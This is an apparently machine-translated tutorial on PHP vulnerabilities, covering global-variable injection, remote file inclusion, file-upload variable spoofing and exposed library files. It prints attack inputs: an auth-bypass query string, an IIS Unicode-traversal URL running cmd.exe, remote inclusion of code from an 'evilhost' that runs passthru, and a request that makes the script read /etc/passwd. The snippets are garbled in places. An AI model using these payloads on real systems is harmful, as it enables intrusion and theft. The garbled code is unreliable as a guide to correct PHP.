Analysis of common Vulnerability attacks in PHP programs
Overview:PHP program is not impregnable, with the extensive use of PHP, some hackers are also in the absence of the trouble to find PHP, through the PHP program vulnerability to attack is one of them. In the section, we will move from the global variables, remote files, file uploads, library files, session files, data types, and error-prone functions analyze the security of PHP.
How do I attack with global variables?
Variables in PHP do not need to be declared beforehand, they are created automatically when they are first used, and their types are automatically determined based on the context. From the programmer's point of view, this is undoubtedly a very convenient way of handling. Once a variable has been created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables.
Obviously, the main function of the PHP-based application is generally to accept the user's input (mainly form variables, upload files and cookies, etc.), and then process the input data, and then return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, in fact, PHP is the input data as a global variable to handle.
For example:
This displays a text box and a Submit button. When the user clicks the Submit button, "test.php" processes the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If an attacker does not invoke "test.php" through form input, but instead enters Http://server/test.php?hello=hi&setup=no directly into the browser's address bar, then more than just "$hello" is created, "$setup "was also created.
The following user authentication code exposes the security issues caused by the global variables of PHP:
if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
? > |
The above code first checks whether the user's password is "Hello", if it matches, set "$auth" to "1", that is, through authentication. Then if "$suth" is "1", some important information will be displayed.
This code assumes that "$auth" is empty when no value is set, but an attacker can create any global variable and assign a value, and through a method like "http://server/test.php?auth=1", we can spoof this code to convince it that we are already certified.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are a lot of variables in the program, this is a very difficult task.
A common protection method is to check the variables in the array http_get[] or post_vars[], which depends on how we submit (GET or POST). When PHP is configured to open the "track_vars" option (this is the default), the user-submitted variable can be obtained in the global variable and the array mentioned above.
But it's worth noting that PHP has four different array variables to handle the user's input. The Http_get_vars array is used to handle variables that are submitted by the GET mode, http_post_vars arrays are used to handle variables submitted by POST, http_cookie_vars arrays are used to handle variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by newer PHP, is an optional way for the user to commit the variable. A user's request can easily put variables in these four arrays, so a secure PHP program should check for these four arrays.
How do I attack from a remote file?
PHP is a rich language that provides a number of functions that make it easy for programmers to implement specific functions. But from a security standpoint, the more features, the more difficult it is to secure it, a good example of this problem is the remote file:
if (! ( $FD = fopen ("$filename", "R"))
Echo ("Could not open File: $filename
\ n ");
? > |
The above script tries to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of PHP's file-handling functions are transparent to remote files.
For example:
If you specify "$filename" as "Http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
The above code actually takes advantage of the Unicode vulnerability on the host target and executes the dir command. This allows the include (), require (), include_once (), and require_once () to support remote files to become more interesting in the context. The main function of these functions is to include the contents of the specified file, and to interpret them in PHP code, mainly used in the library file.
For example:
Include ($libdir. "/languages.php");
? > |
In the above example, "$libdir" is usually a path that has been set before executing the code, and if the attacker can make the "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poisonnull byte" attack in Perl has no effect on PHP). But because of the support for remote files, attackers can do anything. For example, an attacker could place a file languages.php on a server that contains the following:
PassThru ("/bin/ls/etc");
? > |
Then set the "$libdir" to "http://<evilhost>/" so that we can execute the above attack code on the target host, and the contents of the "/etc" Directory will be returned to the customer's browser as a result.
It is important to note that the attack code does not execute its own PHP program on its own server (that is, evilhost), otherwise the attack code will attack the server on which it resides, rather than executing it on the target server.
How do I attack through file uploads?
PHP automatically supports file uploads based on RFC 1867, and we look at the following example:
The above code allows the user to select a file from the local machine, and when the commit is clicked, the file is uploaded to the server. This is obviously a useful feature, but the way PHP responds will make this feature unsafe. When PHP first receives this request, even before it starts parsing the called PHP code, it accepts the remote user's file, checks whether the length of the file exceeds the value defined by the "$MAX _file_size variable", and, if passing these tests, The file will be present in a local temporary directory.
As a result, an attacker can send arbitrary files to a host running PHP, and the file is already on the server when the PHP program has not decided whether to accept the file upload.
Let's consider the PHP program that handles file uploads, as we said above, the file is received and is present on the server (the location is specified in the configuration file, usually/tmp), and the extension is generally random, similar to the form "Phpxxuoxg". The PHP program needs to upload the file's information in order to handle it, which can be done in two ways, one in PHP3, and the other after we introduce a security bulletin to the previous method.
Most PHP programs still use the old way to handle uploading files. PHP sets four global variables to describe uploaded files, such as the example above:
$hello = Filename on local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g "C:\\temp\\hello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain") |
The PHP program then starts processing the files specified under "$hello". The problem is that "$hello" is not necessarily a PHP-set variable, and any remote user can specify it. If we use the following method:
Http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
Text/plain&hello_name=hello.txt |
Causes the following PHP global variables (of course post can also (even a cookie)):
$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt" |
The form data above satisfies the variables expected by the PHP program, but at this point the PHP program no longer processes the uploaded files that should be on the uploader's native computer, but instead handles the "/etc/passwd" (which usually results in content exposure) files on the server. This attack can be used to expose the contents of any sensitive file.
The new version of PHP uses http_post_files[] to decide to upload the file, but also provides a number of functions to solve the problem, such as a function to determine whether a file is actually loaded files. But there must be a lot of PHP programs still using the old method, so it's easy to be attacked.
As a variant of the attack method for file uploads, let's take a look at the following piece of code:
if (file_exists ($theme))//Checks the file exists on the local system (noremote files)
Include ("$theme");
? > |
If an attacker can control the "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. This may seem impossible at first glance, but the file upload helps us, if the attacker first creates a file with PHP code on the local machine, and then creates a form with a file field named "Theme", Finally with this form through the file upload to create the file containing PHP code to the above code, PHP will save the file submitted by the attacker, and the "$theme" value is set to the attacker submitted files, so the file_exists () function will check through, The attacker's code will also be executed.
Given the ability to execute arbitrary instructions, an attacker would obviously want to elevate the privileges or increase the outcome, which would require a set of tools not available on the server, and the file upload would help the attacker. Attackers can use the file Upload feature to upload tools, place them on the server, and then use their ability to execute instructions, use chmod () to change the file's permissions, and then execute. For example, an attacker could bypass the firewall or IDs to upload a local root attack program and execute it, thus gaining root privileges.
How do I attack through a library file?
As we discussed earlier, the include () and require () are primarily designed to support code libraries, because we typically put some frequently used functions into a separate file, which is the code base, and when you need to use one of the functions, We just have to include this codebase in the current file.
Initially, when people developed and published PHP programs, in order to distinguish between the code base and the main program code, the code base file is usually set up a ". Inc" extension, but they quickly found that this is a mistake, because such a file can not be correctly parsed by the PHP interpreter into PHP code. If we directly request such a file on the server, we will get the source code of the file, because when using PHP as an Apache module, the PHP interpreter is based on the file extension to determine whether to parse into PHP code. The extension is specified by the site administrator, typically ". php", ". PhP3" and ". PhP4". If important configuration data is included in a PHP file that does not have the appropriate extension, it is easy for a remote attacker to get that information.
The simplest solution is to specify a php file extension for each file, which is a good way to prevent the source code from being compromised, but it creates a new problem by requesting that the attacker could run code that would otherwise run in the context, potentially leading to all the attacks discussed earlier.
The following is an obvious example:
In main.php:
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
Include ("$libdir/loadlanguage.php":
? >
In libdir/loadlanguage.php:
...
Include ("$langDir/$userLang");
? > |
It is fairly secure when "libdir/loadlanguage.php" is called by "main.php", but because "libdir/loadlanguage" has an extension of ". PHP", remote attackers can request this file directly, You can optionally specify values for $langDir and $userLang.
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